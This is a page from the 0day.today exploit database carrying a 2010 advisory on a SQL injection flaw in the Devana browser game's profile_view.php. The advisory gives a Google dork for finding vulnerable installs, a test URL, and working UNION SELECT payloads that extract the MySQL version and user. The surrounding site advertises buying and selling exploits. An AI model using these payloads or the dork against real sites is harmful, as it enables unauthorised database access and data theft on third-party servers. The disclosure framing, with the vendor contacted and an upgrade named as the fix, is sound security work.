0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Devana v1.6.6 SQL Injection vulnerability
[========================================= Devana v1.6.6 SQL Injection vulnerability ========================================= # Exploit Title: Devana SQL Injection vulnerability # Date: 28.03.2010 # Author: Valentin # Category: webapps/0day # Version: # Tested on: Debian lenny, Apache2, MySQL5 # CVE : # Code : :: General information :: Devana SQL injection vulnerability detected :: by Valentin Hoebel :: valentin@xenuser.org :: Product information :: Name = Devana :: Vendor = Busuioc Andrei / open source project :: Vendor Website = http://devana.eu/ :: About the product = http://sourceforge.net/projects/devana/ :: Affected versions = All, latest vulnerable version: 1.6.6 :: Google dork: "Devana is an open source project !" :: SQL Injection vulnerability Devana is an open source browser game in which the player can choose between one of three factions and build an empire. Without being logged in, you have the possibility to view the profiles of other players, file: profile_view.php. Sadly Devana doesn't check the input so SQL injection is possible. There are currently seven other browser games being listed on sourceforge.net which are based on Devana. It is possible that they suffer from the same vulnerability. Vulnerable URL http://some-cool-domain.tld/profile_view.php?id=1 Test URL http://some-cool-domain.tld/profile_view.php?id=' Exploit vulnerability, e.g. by displaying the version of the MySQL server: http://some-cool-domain.tld/profile_view.php?id=1+AND+1=2+UNION+SELECT+1,2,concat(version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- Or by displaying the current MySQL user: http://some-cool-domain.tld/profile_view.php?id=1+AND+1=2+UNION+SELECT+1,2,concat(user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- -------------------------------------------------------------------------------------------------------- :: Additional information :: Vendor contacted = 28.03.2010 :: Vulnerability is expected to be fixed soon. :: Solution = Upgrade to new version when it is released. # 0day.today [2024-11-15] #